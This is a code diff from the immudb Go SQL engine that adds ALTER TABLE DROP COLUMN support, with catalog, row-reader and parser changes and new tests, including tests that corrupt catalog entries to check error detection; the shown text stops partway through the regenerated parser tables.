_, err = db.GetTableByName("table1") require.ErrorIs(t, err, ErrTableDoesNotExist) - _, err = db.newTable("", nil) + _, err = db.newTable("", nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.newTable("table1", nil) + _, err = db.newTable("table1", nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.newTable("table1", []*ColSpec{}) + _, err = db.newTable("table1", map[uint32]*ColSpec{}, 0) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "id", colType: IntegerType}}) + _, err = db.newTable("table1", map[uint32]*ColSpec{ + 1: {colName: "id", colType: IntegerType}, + 2: {colName: "id", colType: IntegerType}, + }, 2) require.ErrorIs(t, err, ErrDuplicatedColumn) - table, err := db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "title", colType: IntegerType}}) + table, err := db.newTable("table1", map[uint32]*ColSpec{ + 1: {colName: "id", colType: IntegerType}, + 2: {colName: "title", colType: IntegerType}, + }, 2) require.NoError(t, err) require.Equal(t, "table1", table.Name()) @@ -73,7 +79,10 @@ func TestFromEmptyCatalog(t *testing.T) { _, err = db.GetTableByID(2) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, err = db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "title", colType: IntegerType}}) + _, err = db.newTable("table1", map[uint32]*ColSpec{ + 1: {colName: "id", colType: IntegerType}, + 2: {colName: "title", colType: IntegerType}, + }, 2) require.ErrorIs(t, err, ErrTableAlreadyExists) indexed, err := table.IsIndexed("id") @@ -164,7 +173,7 @@ func TestCatalogTableLength(t *testing.T) { require.NoError(t, err) defer tx.Cancel() - require.Equal(t, totalTablesCount, tx.catalog.tableCount) + require.Equal(t, totalTablesCount, tx.catalog.maxTableID) } }) @@ -175,10 +184,12 @@ func TestCatalogTableLength(t *testing.T) { catlog := tx.catalog for _, v := range []string{"table1", "table2", "table3"} { - _, err := catlog.newTable(v, []*ColSpec{{colName: "id", colType: IntegerType}}) + _, err := catlog.newTable(v, map[uint32]*ColSpec{ + 1: {colName: "id", colType: IntegerType}, + }, 1) require.ErrorIs(t, err, ErrTableAlreadyExists) } - require.Equal(t, totalTablesCount, catlog.tableCount) + require.Equal(t, totalTablesCount, catlog.maxTableID) }) t.Run("table count should increase on using newTable function on catalog", func(t *testing.T) { @@ -188,10 +199,13 @@ func TestCatalogTableLength(t *testing.T) { catlog := tx.catalog for _, v := range []string{"table4", "table5", "table6"} { - _, err := catlog.newTable(v, []*ColSpec{{colName: "id", colType: IntegerType}}) + _, err := catlog.newTable(v, map[uint32]*ColSpec{ + 1: {colName: "id", colType: IntegerType}, + }, 1, + ) require.NoError(t, err) } - require.Equal(t, totalTablesCount+3, catlog.tableCount) + require.Equal(t, totalTablesCount+3, catlog.maxTableID) }) t.Run("table count should increase on adding new table", func(t *testing.T) { @@ -229,7 +243,7 @@ func TestCatalogTableLength(t *testing.T) { catlog := tx.catalog // ensure that catalog has been reloaded with deleted table count - require.Equal(t, totalTablesCount, catlog.tableCount) + require.Equal(t, totalTablesCount, catlog.maxTableID) for _, v := range activeTables { require.True(t, catlog.ExistTable(v)) @@ -287,7 +301,7 @@ func TestCatalogTableLength(t *testing.T) { require.NoError(t, err) // cancel the transaction instead of committing it - require.Equal(t, totalTablesCount+1, stx.catalog.tableCount) + require.Equal(t, totalTablesCount+1, stx.catalog.maxTableID) require.NoError(t, stx.Cancel()) // reload a fresh catalog @@ -297,7 +311,7 @@ func TestCatalogTableLength(t *testing.T) { catlog := tx.catalog // table count should not increase - require.Equal(t, totalTablesCount, catlog.tableCount) + require.Equal(t, totalTablesCount, catlog.maxTableID) }) } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index c9133d6381..03d7789e90 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -37,6 +37,7 @@ var ErrTableAlreadyExists = errors.New("table already exists") var ErrTableDoesNotExist = errors.New("table does not exist") var ErrColumnDoesNotExist = errors.New("column does not exist") var ErrColumnAlreadyExists = errors.New("column already exists") +var ErrCantDropIndexedColumn = errors.New("can not drop indexed column") var ErrSameOldAndNewColumnName = errors.New("same old and new column names") var ErrColumnNotIndexed = errors.New("column is not indexed") var ErrFunctionDoesNotExist = errors.New("function does not exist") @@ -61,6 +62,7 @@ var ErrLimitedOrderBy = errors.New("order is limit to one indexed column") var ErrLimitedGroupBy = errors.New("group by requires ordering by the grouping column") var ErrIllegalMappedKey = errors.New("error illegal mapped key") var ErrCorruptedData = store.ErrCorruptedData +var ErrBrokenCatalogColSpecExpirable = fmt.Errorf("%w: catalog column entry set as expirable", ErrCorruptedData) var ErrNoMoreRows = store.ErrNoMoreEntries var ErrInvalidTypes = errors.New("invalid types") var ErrUnsupportedJoinType = errors.New("unsupported join type") @@ -215,7 +217,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } - for _, index := range table.GetIndexes() { + for _, index := range table.indexes { if index.IsPrimary() { continue } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 7ab9be00c3..f7c52a285a 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -22,6 +22,7 @@ import ( "errors" "fmt" "math" + "os" "sort" "strconv" "strings" @@ -32,6 +33,7 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/stretchr/testify/require" + "github.com/stretchr/testify/suite" ) var sqlPrefix = []byte{2} @@ -1112,6 +1114,225 @@ func TestRenameColumn(t *testing.T) { }) } +func TestAlterTableDropColumn(t *testing.T) { + path := t.TempDir() + + defer os.RemoveAll(path) + + t.Run("create-store", func(t *testing.T) { + st, err := store.Open(path, store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + defer func() { require.NoError(t, st.Close()) }() + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + t.Run("create initial table", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + ` + CREATE TABLE table1 ( + id INTEGER AUTO_INCREMENT, + active BOOLEAN, + name VARCHAR[50], + surname VARCHAR[50], + age INTEGER, + PRIMARY KEY (id) + )`, nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(name, surname)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), nil, + ` + INSERT INTO table1(name, surname, active, age) + VALUES + ('John', 'Smith', true, 42), + ('Sylvia', 'Smith', true, 27), + ('Robo', 'Cop', false, 101) + `, nil) + require.NoError(t, err) + }) + + t.Run("fail to drop indexed from table that does not exist", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table2 DROP COLUMN active", nil) + require.ErrorIs(t, err, ErrTableDoesNotExist) + }) + + t.Run("fail to drop indexed columns", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN id", nil) + require.ErrorIs(t, err, ErrCantDropIndexedColumn) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN name", nil) + require.ErrorIs(t, err, ErrCantDropIndexedColumn) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN surname", nil) + require.ErrorIs(t, err, ErrCantDropIndexedColumn) + }) + + t.Run("fail to drop columns that does not exist", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN nonexistent", nil) + require.ErrorIs(t, err, ErrColumnDoesNotExist) + }) + + t.Run("drop column in the middle", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN active", nil) + require.NoError(t, err) + + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + catTable, err := tx.catalog.GetTableByName("table1") + require.NoError(t, err) + + require.Len(t, catTable.cols, 4) + require.Len(t, catTable.colsByID, 4) + require.Len(t, catTable.colsByName, 4) + require.EqualValues(t, catTable.maxColID, 5) + + err = tx.Cancel() + require.NoError(t, err) + + res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, active, age FROM table1", nil) + require.NoError(t, err) + + _, err = res.Read(context.Background()) + require.ErrorIs(t, err, ErrColumnDoesNotExist) + + err = res.Close() + require.NoError(t, err) + + res, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) + require.NoError(t, err) + + for i := 0; i < 3; i++ { + row, err := res.Read(context.Background()) + require.NoError(t, err) + require.Len(t, row.ValuesByPosition, 4) + require.Len(t, row.ValuesBySelector, 4) + } + + _, err = res.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = res.Close() + require.NoError(t, err) + }) + + t.Run("drop the last column", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN age", nil) + require.NoError(t, err) + + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + catTable, err := tx.catalog.GetTableByName("table1") + require.NoError(t, err) + + require.Len(t, catTable.cols, 3) + require.Len(t, catTable.colsByID, 3) + require.Len(t, catTable.colsByName, 3) + require.EqualValues(t, catTable.maxColID, 5) + + err = tx.Cancel() + require.NoError(t, err) + + res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, age FROM table1", nil) + require.NoError(t, err) + + _, err = res.Read(context.Background()) + require.ErrorIs(t, err, ErrColumnDoesNotExist) + + res.Close() + + res, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) + require.NoError(t, err) + + for i := 0; i < 3; i++ { + row, err := res.Read(context.Background()) + require.NoError(t, err) + require.Len(t, row.ValuesByPosition, 3) + require.Len(t, row.ValuesBySelector, 3) + } + + _, err = res.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = res.Close() + require.NoError(t, err) + }) + + t.Run("adding new column must not reuse old column IDs", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN active BOOLEAN", nil) + require.NoError(t, err) + + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + catTable, err := tx.catalog.GetTableByName("table1") + require.NoError(t, err) + + require.Len(t, catTable.cols, 4) + require.Len(t, catTable.colsByID, 4) + require.Len(t, catTable.colsByName, 4) + require.EqualValues(t, 6, catTable.colsByName["active"].id) + require.EqualValues(t, 6, catTable.maxColID) + + err = tx.Cancel() + require.NoError(t, err) + + res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, active FROM table1", nil) + require.NoError(t, err) + + for i := 0; i < 3; i++ { + row, err := res.Read(context.Background()) + require.NoError(t, err) + require.Len(t, row.ValuesByPosition, 4) + require.Len(t, row.ValuesBySelector, 4) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) + } + + _, err = res.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = res.Close() + require.NoError(t, err) + }) + }) + + t.Run("reopen-store", func(t *testing.T) { + st, err := store.Open(path, store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + defer func() { require.NoError(t, st.Close()) }() + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, active FROM table1", nil) + require.NoError(t, err) + + for i := 0; i < 3; i++ { + row, err := res.Read(context.Background()) + require.NoError(t, err) + require.Len(t, row.ValuesByPosition, 4) + require.Len(t, row.ValuesBySelector, 4) + require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) + } + + _, err = res.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = res.Close() + require.NoError(t, err) + }) +} + func TestCreateIndex(t *testing.T) { engine := setupCommonTest(t) @@ -6674,3 +6895,182 @@ func TestLikeWithNullableColumns(t *testing.T) { _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) } + +type BrokenCatalogTestSuite struct { + suite.Suite + + path string + st *store.ImmuStore + engine *Engine +} + +func TestBrokenCatalogTestSuite(t *testing.T) { + suite.Run(t, new(BrokenCatalogTestSuite)) +} + +func (t *BrokenCatalogTestSuite) SetupTest() { + t.path = t.T().TempDir() + + st, err := store.Open(t.path, store.DefaultOptions().WithMultiIndexing(true)) + t.Require().NoError(err) + + t.st = st + + t.engine, err = NewEngine(t.st, DefaultOptions().WithPrefix(sqlPrefix)) + t.Require().NoError(err) + + _, _, err = t.engine.Exec( + context.Background(), + nil, + ` + CREATE TABLE test( + id INTEGER AUTO_INCREMENT, + var VARCHAR, + b BOOLEAN, + PRIMARY KEY(id) + ) + `, nil) + t.Require().NoError(err) + + // Tests in teh suite require specific IDs to be assigned + // we check below if those are as expected + tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) + t.Require().NoError(err) + defer tx.Cancel() + + tab, err := tx.catalog.GetTableByName("test") + t.Require().NoError(err) + t.Require().EqualValues(1, tab.id) + + for id, name := range map[uint32]string{ + 1: "id", + 2: "var", + 3: "b", + } { + col, err := tab.GetColumnByName(name) + t.Require().NoError(err) + t.Require().EqualValues(id, col.id) + } +} + +func (t *BrokenCatalogTestSuite) TearDownTest() { + defer os.RemoveAll(t.path) + + if t.st != nil { + err := t.st.Close() + t.Require().NoError(err) + } +} + +func (t *BrokenCatalogTestSuite) getColEntry(colID uint32) (k, v []byte, vref store.ValueRef) { + tx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions()) + t.Require().NoError(err) + defer tx.Cancel() + + reader, err := tx.NewKeyReader(store.KeyReaderSpec{ + Prefix: MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(1), EncodeID(colID)), + }) + t.Require().NoError(err) + defer reader.Close() + + k, vref, err = reader.Read(context.Background()) + t.Require().NoError(err) + + v, err = vref.Resolve() + t.Require().NoError(err) + + return k, v, vref +} + +func (t *BrokenCatalogTestSuite) TestCanNotSetExpiredEntryInCatalog() { + k, v, _ := t.getColEntry(2) + + md := store.NewKVMetadata() + err := md.ExpiresAt(time.Now().Add(time.Hour)) + t.Require().NoError(err) + + tx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions()) + t.Require().NoError(err) + defer tx.Cancel() + + tx.Set(k, md, v) + + c := newCatalog(sqlPrefix) + err = c.load(context.Background(), tx) + + t.Require().ErrorIs(err, ErrBrokenCatalogColSpecExpirable) +} + +func (t *BrokenCatalogTestSuite) TestErrorWhenColSpecIsToShort() { + k, v, vref := t.getColEntry(2) + + tx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions()) + t.Require().NoError(err) + defer tx.Cancel() + + err = tx.Delete(context.Background(), k) + t.Require().NoError(err) + + err = tx.Set(k[:len(k)-1], vref.KVMetadata(), v) + t.Require().NoError(err) + + c := newCatalog(sqlPrefix) + err = c.load(context.Background(), tx) + + t.Require().ErrorIs(err, ErrCorruptedData) +} + +func (t *BrokenCatalogTestSuite) TestErrorColSpecNotSequential() { + tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) + t.Require().NoError(err) + defer tx.Cancel() + + err = persistColumn(tx, &Column{ + id: 100, + table: &Table{id: 1}, + }) + t.Require().NoError(err) + + c := newCatalog(sqlPrefix) + err = c.load(context.Background(), tx.tx) + + t.Require().ErrorIs(err, ErrCorruptedData) +} + +func (t *BrokenCatalogTestSuite) TestErrorColSpecDuplicate() { + tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) + t.Require().NoError(err) + defer tx.Cancel() + + // the type is part of the key, write another column with same id as the primary key + err = persistColumn(tx, &Column{ + id: 1, + colType: BLOBType, + table: &Table{id: 1}, + }) + t.Require().NoError(err) + + c := newCatalog(sqlPrefix) + err = c.load(context.Background(), tx.tx) + + t.Require().ErrorIs(err, ErrCorruptedData) +} + +func (t *BrokenCatalogTestSuite) TestErrorDroppedPrimaryIndexColumn() { + tx, err := t.engine.NewTx(context.Background(), DefaultTxOptions()) + t.Require().NoError(err) + defer tx.Cancel() + + // the type is part of the key, write another column with same id as the primary key + err = persistColumnDeletion(context.Background(), tx, &Column{ + id: 1, + colType: IntegerType, + table: &Table{id: 1}, + }) + t.Require().NoError(err) + + c := newCatalog(sqlPrefix) + + err = c.load(context.Background(), tx.tx) + t.Require().ErrorIs(err, ErrColumnDoesNotExist) +} diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index edb8b41033..c9a3a05cb2 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -385,7 +385,7 @@ func TestAlterTable(t *testing.T) { { input: "ALTER TABLE table1 COLUMN title VARCHAR", expectedOutput: nil, - expectedError: errors.New("syntax error: unexpected COLUMN, expecting ADD or RENAME at position 25"), + expectedError: errors.New("syntax error: unexpected COLUMN, expecting DROP or ADD or RENAME at position 25"), }, { input: "ALTER TABLE table1 RENAME COLUMN title TO newtitle", diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 693da7de5e..86bca44138 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -163,10 +163,10 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per tableAlias = table.name } - colsByPos := make([]ColDescriptor, len(table.Cols())) - colsBySel := make(map[string]ColDescriptor, len(table.Cols())) + colsByPos := make([]ColDescriptor, len(table.cols)) + colsBySel := make(map[string]ColDescriptor, len(table.cols)) - for i, c := range table.Cols() { + for i, c := range table.cols { colDescriptor := ColDescriptor{ Table: tableAlias, Column: c.colName, @@ -394,10 +394,10 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { return nil, err } - valuesByPosition := make([]TypedValue, len(r.table.Cols())) - valuesBySelector := make(map[string]TypedValue, len(r.table.Cols())) + valuesByPosition := make([]TypedValue, len(r.table.cols)) + valuesBySelector := make(map[string]TypedValue, len(r.table.cols)) - for i, col := range r.table.Cols() { + for i, col := range r.table.cols { v := &NullValue{t: col.colType} valuesByPosition[i] = v @@ -413,7 +413,7 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { cols := int(binary.BigEndian.Uint32(v[voff:])) voff += EncLenLen - for i := 0; i < cols; i++ { + for i, pos := 0, 0; i < cols; i++ { if len(v) < EncIDLen { return nil, ErrCorruptedData } @@ -422,6 +422,16 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { voff += EncIDLen col, err := r.table.GetColumnByID(colID) + if errors.Is(err, ErrColumnDoesNotExist) && colID <= r.table.maxColID { + // Dropped column, skip it + vlen, n, err := DecodeValueLength(v[voff:]) + if err != nil { + return nil, err + } + voff += n + vlen + + continue + } if err != nil { return nil, ErrCorruptedData } @@ -433,7 +443,9 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { voff += n - valuesByPosition[i] = val + valuesByPosition[pos] = val + pos++ + valuesBySelector[EncodeSelector("", r.tableAlias, col.colName)] = val } diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index f4866c0b17..c7d8c74bde 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -240,6 +240,11 @@ ddlstmt: { $$ = &RenameColumnStmt{table: $3, oldName: $6, newName: $8} } +| + ALTER TABLE IDENTIFIER DROP COLUMN IDENTIFIER + { + $$ = &DropColumnStmt{table: $3, colName: $6} + } opt_if_not_exists: { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index ebbddd0fef..8a3ce983d8 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -241,142 +241,144 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 79, - 58, 141, - 61, 141, - -2, 129, - -1, 197, - 44, 105, - -2, 100, - -1, 227, - 44, 105, - -2, 102, + 58, 142, + 61, 142, + -2, 130, + -1, 200, + 44, 106, + -2, 101, + -1, 230, + 44, 106, + -2, 103, } const yyPrivate = 57344 -const yyLast = 388 +const yyLast = 391 var yyAct = [...]int16{ - 78, 304, 65, 191, 147, 220, 244, 248, 93, 144, - 153, 182, 226, 112, 243, 104, 183, 6, 164, 48, - 84, 19, 277, 107, 189, 214, 189, 189, 235, 286, - 189, 189, 281, 263, 261, 236, 280, 81, 215, 190, - 83, 264, 262, 231, 96, 92, 249, 94, 95, 157, - 213, 211, 97, 203, 87, 88, 89, 90, 91, 66, - 64, 202, 188, 250, 82, 116, 155, 130, 245, 86, - 210, 207, 139, 139, 166, 128, 129, 109, 123, 140, - 138, 136, 134, 135, 118, 212, 130, 137, 124, 125, - 127, 126, 115, 130, 21, 180, 103, 102, 67, 303, - 130, 128, 129, 297, 267, 66, 149, 124, 125, 127, - 126, 62, 130, 146, 124, 125, 127, 126, 161, 156, - 128, 129, 150, 127, 126, 168, 169, 170, 171, 172, - 173, 67, 158, 124, 125, 127, 126, 266, 214, 181, - 184, 116, 130, 105, 160, 204, 189, 111, 260, 67, - 185, 129, 240, 196, 179, 194, 66, 76, 197, 232, - 186, 28, 29, 124, 125, 127, 126, 266, 114, 205, - 200, 178, 201, 199, 198, 195, 206, 209, 67, 151, - 145, 242, 218, 108, 187, 165, 113, 167, 162, 159, - 119, 99, 70, 222, 68, 37, 54, 52, 224, 47, - 152, 229, 276, 259, 133, 208, 165, 175, 275, 98, - 258, 184, 230, 132, 174, 241, 176, 237, 130, 177, - 117, 43, 247, 233, 69, 60, 27, 239, 238, 38, - 251, 289, 121, 122, 246, 305, 306, 221, 192, 296, - 253, 252, 42, 284, 271, 255, 184, 105, 283, 254, - 110, 35, 40, 19, 294, 287, 279, 268, 58, 219, - 269, 77, 154, 156, 273, 272, 217, 44, 45, 34, - 33, 22, 256, 278, 142, 141, 216, 285, 100, 101, - 36, 2, 293, 223, 290, 120, 71, 292, 53, 72, - 193, 30, 295, 31, 298, 46, 55, 56, 57, 301, - 302, 299, 32, 41, 148, 81, 307, 20, 83, 308, - 75, 74, 96, 92, 265, 94, 95, 50, 51, 106, - 97, 131, 87, 88, 89, 90, 91, 66, 81, 257, - 274, 83, 82, 288, 300, 96, 92, 86, 94, 95, - 10, 12, 11, 97, 234, 87, 88, 89, 90, 91, - 66, 270, 80, 79, 282, 82, 13, 228, 227, 225, - 86, 73, 49, 7, 23, 8, 9, 14, 15, 59, - 39, 16, 17, 24, 26, 25, 63, 19, 61, 85, - 291, 143, 163, 18, 5, 4, 3, 1, + 78, 307, 65, 194, 149, 223, 247, 251, 93, 146, + 155, 184, 229, 113, 246, 105, 185, 108, 166, 48, + 84, 19, 280, 192, 6, 217, 192, 192, 238, 289, + 192, 284, 283, 266, 264, 239, 267, 81, 218, 265, + 83, 192, 234, 216, 96, 92, 214, 94, 95, 193, + 252, 159, 97, 131, 87, 88, 89, 90, 91, 66, + 64, 129, 130, 215, 82, 206, 205, 253, 157, 86, + 248, 131, 191, 213, 125, 126, 128, 127, 124, 129, + 130, 182, 135, 136, 110, 210, 140, 138, 131, 168, + 141, 117, 125, 126, 128, 127, 129, 130, 117, 140, + 139, 137, 119, 116, 104, 103, 21, 151, 263, 125, + 126, 128, 127, 131, 148, 131, 106, 270, 306, 163, + 158, 131, 130, 152, 300, 269, 170, 171, 172, 173, + 174, 175, 217, 160, 125, 126, 128, 127, 128, 127, + 183, 186, 125, 126, 128, 127, 67, 207, 192, 112, + 67, 187, 153, 66, 243, 199, 76, 197, 67, 62, + 200, 188, 181, 162, 235, 66, 115, 208, 180, 28, + 29, 198, 203, 67, 204, 147, 201, 245, 209, 212, + 269, 221, 202, 109, 114, 190, 189, 167, 169, 164, + 161, 120, 99, 70, 68, 37, 225, 54, 52, 47, + 154, 227, 232, 134, 279, 211, 262, 278, 98, 177, + 131, 167, 133, 261, 186, 233, 176, 118, 244, 178, + 240, 60, 179, 43, 69, 250, 236, 38, 308, 309, + 242, 122, 123, 254, 27, 292, 224, 249, 241, 195, + 299, 287, 274, 256, 255, 42, 106, 286, 258, 186, + 257, 111, 35, 40, 19, 297, 290, 282, 58, 222, + 271, 220, 34, 272, 77, 156, 158, 276, 275, 33, + 44, 45, 22, 259, 144, 219, 281, 143, 142, 296, + 288, 226, 121, 36, 71, 2, 53, 293, 196, 102, + 295, 30, 72, 31, 46, 298, 32, 301, 150, 55, + 56, 57, 304, 305, 302, 100, 101, 41, 81, 310, + 20, 83, 311, 75, 74, 96, 92, 268, 94, 95, + 50, 51, 107, 97, 132, 87, 88, 89, 90, 91, + 66, 81, 260, 277, 83, 82, 291, 303, 96, 92, + 86, 94, 95, 10, 12, 11, 97, 237, 87, 88, + 89, 90, 91, 66, 273, 80, 79, 285, 82, 13, + 231, 230, 228, 86, 73, 49, 7, 23, 8, 9, + 14, 15, 59, 39, 16, 17, 24, 26, 25, 63, + 19, 61, 85, 294, 145, 165, 18, 5, 4, 3, + 1, } var yyPact = [...]int16{ - 336, -1000, -1000, 6, -1000, -1000, -1000, 243, -1000, -1000, - 357, 154, 275, 286, 237, 236, 208, 123, 174, 210, - -1000, 336, -1000, 162, 162, 162, 277, -1000, 127, 308, - 125, 269, 124, 123, 123, 123, 221, -1000, 169, 26, - -1000, -1000, 122, 167, 120, 267, 162, -1000, -1000, 299, - 248, 248, -1000, 119, 257, 8, 7, 201, 111, 212, - -1000, 207, -1000, 65, 114, -1000, 3, 60, -1000, 160, - -5, 118, 266, -1000, 248, 248, -1000, 271, 50, 147, - -1000, 271, 271, -8, -1000, -1000, 271, -1000, -1000, -1000, - -1000, -1000, -9, -1000, -1000, -1000, -1000, -16, -1000, -10, - 251, 250, 108, 108, 298, 271, 97, -1000, 129, -1000, - -23, 77, -1000, -1000, 117, 59, 116, -1000, 113, -15, - 115, -1000, -1000, 50, 271, 271, 271, 271, 271, 271, - 150, 158, 98, -1000, 80, 38, 212, 5, 271, 271, - 108, 113, 112, -28, 64, -1000, -51, 189, 272, 50, - 298, 111, 271, 298, 308, 212, 114, -17, 114, -1000, - -29, -37, -1000, 63, -1000, 96, 108, -18, 38, 38, - 156, 156, 80, 24, -1000, 141, 271, -19, -1000, -39, - -1000, 31, -40, 56, 50, -52, -1000, 253, 232, 110, - 225, 187, 271, 264, 189, -1000, 50, 132, 114, -47, - -1000, -1000, -1000, -1000, 134, -63, -55, 108, -1000, 80, - -20, -1000, 79, -1000, 271, -1000, 109, -21, -1000, -21, - -1000, 271, 50, -26, 187, 201, -1000, 132, 205, -1000, - -1000, 114, 246, -1000, 146, 74, -1000, -56, -48, -57, - -49, 50, -1000, 85, -1000, 271, 55, 50, -1000, -1000, - 108, -1000, 197, -1000, -23, -1000, -26, 145, -1000, 138, - -70, -1000, -1000, -1000, -1000, -1000, -21, 218, -54, -58, - 203, 195, 298, -61, -1000, -1000, -1000, -1000, -1000, 216, - -1000, -1000, 180, 271, 106, 263, -1000, 214, 189, 191, - 50, 21, -1000, 271, -1000, 187, 106, 106, 50, -1000, - 17, 183, -1000, 106, -1000, -1000, -1000, 183, -1000, + 339, -1000, -1000, 18, -1000, -1000, -1000, 244, -1000, -1000, + 360, 162, 275, 280, 236, 229, 209, 123, 172, 211, + -1000, 339, -1000, 164, 164, 164, 276, -1000, 127, 311, + 126, 267, 125, 123, 123, 123, 221, -1000, 165, 74, + -1000, -1000, 122, 167, 121, 265, 164, -1000, -1000, 302, + 251, 251, -1000, 120, 284, 16, 15, 200, 111, 213, + -1000, 208, -1000, 67, 112, -1000, 14, 17, -1000, 157, + 13, 119, 263, -1000, 251, 251, -1000, 274, 26, 146, + -1000, 274, 274, 12, -1000, -1000, 274, -1000, -1000, -1000, + -1000, -1000, 11, -1000, -1000, -1000, -1000, 10, -1000, 1, + 254, 253, 250, 103, 103, 292, 274, 70, -1000, 129, + -1000, -21, 86, -1000, -1000, 118, 78, 117, -1000, 115, + 0, 116, -1000, -1000, 26, 274, 274, 274, 274, 274, + 274, 152, 161, 95, -1000, 51, 53, 213, -9, 274, + 274, 103, 115, 114, 113, -18, 66, -1000, -41, 190, + 270, 26, 292, 111, 274, 292, 311, 213, 112, -3, + 112, -1000, -24, -25, -1000, 65, -1000, 94, 103, -4, + 53, 53, 148, 148, 51, 59, -1000, 141, 274, -16, + -1000, -44, -1000, 9, -47, 50, 26, -52, -1000, 252, + -1000, 227, 109, 225, 186, 274, 262, 190, -1000, 26, + 133, 112, -48, -1000, -1000, -1000, -1000, 139, -63, -55, + 103, -1000, 51, -20, -1000, 81, -1000, 274, -1000, 105, + -19, -1000, -19, -1000, 274, 26, -22, 186, 200, -1000, + 133, 206, -1000, -1000, 112, 247, -1000, 149, 34, -1000, + -56, -51, -57, -54, 26, -1000, 98, -1000, 274, 43, + 26, -1000, -1000, 103, -1000, 195, -1000, -21, -1000, -22, + 144, -1000, 140, -70, -1000, -1000, -1000, -1000, -1000, -19, + 219, -58, -59, 202, 193, 292, -61, -1000, -1000, -1000, + -1000, -1000, 217, -1000, -1000, 184, 274, 101, 260, -1000, + 215, 190, 192, 26, 42, -1000, 274, -1000, 186, 101, + 101, 26, -1000, 36, 176, -1000, 101, -1000, -1000, -1000, + 176, -1000, } var yyPgo = [...]int16{ - 0, 387, 281, 386, 385, 384, 17, 383, 382, 18, - 9, 7, 381, 380, 14, 6, 16, 11, 379, 8, - 20, 378, 376, 2, 370, 369, 10, 262, 19, 362, - 361, 157, 359, 12, 358, 357, 0, 15, 354, 353, - 352, 351, 3, 5, 344, 13, 334, 333, 1, 4, - 242, 330, 329, 321, 23, 319, 314, 307, + 0, 390, 285, 389, 388, 387, 24, 386, 385, 18, + 9, 7, 384, 383, 14, 